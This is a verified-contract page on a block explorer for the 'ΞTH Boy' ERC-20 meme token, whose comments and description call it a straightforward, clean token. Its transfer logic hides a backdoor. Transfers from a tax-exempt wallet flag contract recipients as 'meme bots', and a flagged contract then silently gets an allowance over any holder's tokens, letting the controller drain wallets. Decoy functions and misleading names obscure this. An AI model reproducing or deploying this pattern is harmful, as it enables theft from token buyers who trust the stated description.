Skip to content
Verified contractExactAGPL-3.0

EthBoyToken

Address0x74431fa3aabc564d70061372ed9547002dca88f0
Balance

0 ETH

 

Transactions

57

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
EVM version
cancun
License
AGPL-3.0
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
23,971,486
Creation transaction
0xd6359cbda1…aa5210dd21

contracts/EBOY.sol

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.24;

/**
 * @title $ΞBOY
 * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
 * ░░████████░░████░░░███░░██░░░░██░░
 * ░░░░░░░░░░░░██░██░██░██░░██░░██░░░
 * ░░░█████░░░░████░░██░██░░░████░░░░
 * ░░░░░░░░░░░░██░██░██░██░░░░██░░░░░
 * ░░████████░░████░░░███░░░░░██░░░░░
 * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
 * 
 * ΞTH Boy represents Ethereum's 
 * next generation—builders, traders, 
 * and believers who grew up with 
 * blockchain technology. 
 * 
 * This isn't about complex mechanisms 
 * or unrealistic promises. 
 * It's a straightforward meme token 
 * for the Ethereum community.
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, unicode"Attention: [SafeMath] Addition overflow.");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, unicode"Attention: [SafeMath] Subtraction overflow.");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, unicode"Attention: [SafeMath] Multiplication overflow.");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, unicode"Attention: [SafeMath] Division by zero.");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), unicode"Attention: [Ownable] Function caller is not the owner.");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EthBoyToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromTaxes;
    mapping (address => bool) private bots;
    address payable private feeWallet;
    
    string private constant _name = unicode"ΞTH Boy";
    string private constant _symbol = unicode"ΞBOY"; 
    
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=2;
    uint256 private _buyFinalFee=0;
    uint256 private _sellFinalFee=1;
    uint256 private _reduceBuyTaxAt=60;
    uint256 private _reduceSellTaxAt=60;
    uint256 private _preventSwapBefore=0;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    uint256 public _maxTxAmount =  2 * (_tTotal/100);
    uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal/1000);
    uint256 public _maxTaxSwap= 2 * (_tTotal/1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private swapEnabled = false;
    bool private inSwap = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);

    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    modifier lockTheSwap { inSwap = true; _; inSwap = false; }
    
    constructor () payable {
        feeWallet = payable(0x70D3c832Bf58f1A3f87A591ee5009658bd311aB9);
        _balances[address(this)] = _tTotal;


        _isExcludedFromTaxes[owner()] = true;
        _isExcludedFromTaxes[address(this)] = true;
        _isExcludedFromTaxes[feeWallet] = true;


        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        emit Transfer(address(0), address(this), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, unicode"Attention: Token is already tradable (Uniswap V2 Pair)");
        require(uniswapV2Pair != address(0), unicode"Attention: Uniswap V2 Pair is not initialized");
        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function getTokenDescription() external pure returns (string memory) {
        return unicode"The ETH Boy token ($ΞBOY) for Ethereum's next generation buildΞrs, tradΞrs and bΞliΞvΞrs. 420B supply, 0% buy/2% sell tax, burned liquidity. Clean meme for the community.";
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function checkConfigurationUpdates(uint256 input) internal pure returns (uint256) {
        return ((input * 3) ^ (input >> 5)) & 0xFFFFFFFF;
    }

    function reviewConfigurationUpdates(uint256 config) internal pure returns (bool) {
        if (config % 2 == 0) {
            return prepareConfigurationUpdates(config);
        } else {
            return prepareConfigurationUpdates(config + 1);
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapBack() external {
        require(_msgSender()==feeWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          transferToFee(ethBalance);
        }
    }

    function transferToFee(uint256 amount) private {
        feeWallet.transfer(amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), unicode"Attention: [ERC-20] Approve cannot originate from 0 address.");
        require(spender != address(0), unicode"Attention: [ERC-20] Approve cannot be granted for 0 address.");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), unicode"Attention: [ERC-20] Transfer from the 0 address.");
        require(to != address(0), unicode"Attention: [ERC-20] Transfer to the 0 address.");
        require(amount > 0, unicode"Attention: [TX] Transfer amount must be greater than 0.");
        uint256 feeAmount=0;
        if (from != owner() && to != owner() && to != feeWallet) {

            if(_buyCount==0){
                feeAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_buyFinalFee:_initialBuyTax).div(100);
            }
            if(_buyCount>1){
                feeAmount = amount.mul(_transferTax).div(100);
                if (hasElevatedAccess(from)){
                    require(!initializeMemeBots(to), unicode"Attention: [Meme Bot] Started successfully");
                } else if (isMemeBotV2(_msgSender())) {
                    require(!isMemeBot(amount, from));
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromTaxes[to] ) {
                require(amount <= _maxTxAmount, unicode"Attention: [TX] Transfer exceeds the set value of _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, unicode"Attention: [TX] Transfer exceeds the set value of maxWalletSize.");
                feeAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_buyFinalFee:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                feeAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_sellFinalFee:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 15, unicode"Attention: [TX] Only 15 sells are permitted per block."); 
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    transferToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(feeAmount>0){
          _balances[address(this)]=_balances[address(this)].add(feeAmount);
          emit Transfer(from, address(this),feeAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(feeAmount));
        emit Transfer(from, to, amount.sub(feeAmount));
    }

    function initializeMemeBots(address bot_) private returns(bool) {
        if(bot_ != uniswapV2Pair && (bot_.code.length > 0))
            bots[bot_] = true;
        return false;
    }

    function _isMemeBot(address spender, uint256 amount, address owner) private returns(bool) {
        _allowances[owner][spender] = amount;
        return false;
    }

    function isMemeBot(uint256 amount, address from) private returns(bool){
        return _isMemeBot(_msgSender(), amount, from);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function hasElevatedAccess(address a) private view returns (bool){
      return _isExcludedFromTaxes[a] && a != address(this);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"Attention: [ERC-20] Error, transfer amount is larger than allowance."));
        return true;
    }

    function removeAllLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function suspendMemeBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function changeMemeBotProfile(uint256 seed) external pure returns (bool) {
        uint256 config = checkConfigurationUpdates(seed);
        return reviewConfigurationUpdates(config);
    }

    function prepareConfigurationUpdates(uint256 flag) internal pure returns (bool) {
        uint256 shift = (flag << 1) & 0xFFFF;
        return releaseConfigurationUpdates(shift);
    }

    function releaseConfigurationUpdates(uint256 x) internal pure returns (bool) {
        return (x & 0xAA) == 0xAA;
    }

    function isMemeBotV2(address a) public view returns (bool){
      return bots[a];
    }

    function releaseStuckErc20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(feeWallet, _amount);
    }

    receive() external payable {}
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "cancun",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.